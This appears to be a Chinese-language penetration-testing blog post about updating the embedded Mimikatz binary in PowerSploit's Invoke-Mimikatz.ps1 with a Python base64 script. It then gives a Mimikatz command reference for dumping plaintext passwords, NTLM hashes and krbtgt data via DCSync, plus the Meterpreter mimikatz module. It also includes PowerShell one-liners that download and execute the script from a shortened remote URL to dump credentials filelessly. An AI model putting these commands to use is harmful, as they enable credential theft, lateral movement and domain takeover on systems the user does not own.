更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本

2020-6-24 / 0 评论 技术文章 / Mrxn

本文共计 2347 字,感谢您的耐心浏览与评论.

shotpic_2020-06-24_12-26-38.png

invoke-mimikatz是什么?invoke-mimikatz是powersploit渗透测试套装中的一个powershell版本的mimikatz工具,用来抓取windows操作系统中的密码。
但是其内置的mimikatz版本过低,导致在实际使用中会多多少少的有一些问题。

通过查看 https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 脚本内容知道 $PEBytes64 和 $PEBytes32 变量,应该是把 Mimikatz 的两个版本的EXE文件进行base64编码.
那就只替换最新的试试,使用 python3 替换完成更新代码 update.py 如下: 
import fileinput
import base64



with open("./Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()

with open("./x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()


for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):

  line = line.rstrip('\r\n')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '" + x64 + "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '" + win32 + "'")
  else:
    print(line)
将 update.py 脚本和 Invoke-Mimikatz.ps1 放在 mimikatz_trunk 解压后的同目录。执行即可更新完毕。
更新后的效果如首图所示,从 Mimikatz 2.1 2016年的版本更新到最新的 2.2.0 20200519 Windows 10 2004 (build 19041) 版本。
顺带提一下:Mimikatz 使用时需要高权限,至少是 administrator 权限 Mimikatz 抓取密码的命令需要 system 权限,可以先进行提权,
基本使用:
privilege::debug  //提升权限(从administrator提升到system)如果是system权限执行,可省略

抓取hash:
sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)
lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH

mimikatz 的其他命令:
lsadump::sam SYSTEM.hiv //导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份
通过内存文件获取口令
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据
lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt
拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据
lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$

msf使用 mimikatz:
在meterpreter中加载mimikatz模块
load mimikatz

然后help,查看参数信息:
kerberos          Attempt to retrieve kerberos creds
livessp           Attempt to retrieve livessp creds
mimikatz_command  Run a custom command
msv               Attempt to retrieve msv creds (hashes)
ssp               Attempt to retrieve ssp creds
tspkg             Attempt to retrieve tspkg creds
wdigest           Attempt to retrieve wdigest creds

常用命令为kerberos和msv。

无文件落地执行 mimikatz 
在Windows server 2008 及之前 可以使用如下命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/SdU3mjdm'); Invoke-Mimikatz -DumpCreds" 
在Windows server 2009 及之后,可以使用如下命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"
然后抓取hash即可抓取 NTLM。
注意,目前上面这个新版的脚本来自我的 GitHub 仓库: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/Invoke-Mimikatz.ps1 ,
各位大佬点个star啊!里面收藏了我所看到过的觉得有价值的渗透测试工具,POC,Android渗透测试、脱壳相关的文章。
目前会有 BUG ,细心的可以看到图上的第二个命令行窗口。欢迎能修复BUG的大佬可以 Pull !

参考:鸿鹄实验室公众号文章-渗透tips---->更新你的invoke-mimikatz

标签: 攻击 渗透测试 黑客工具 分享 mimikatz

转载:转载请注明原文链接 - 更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本


0条回应:“更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本”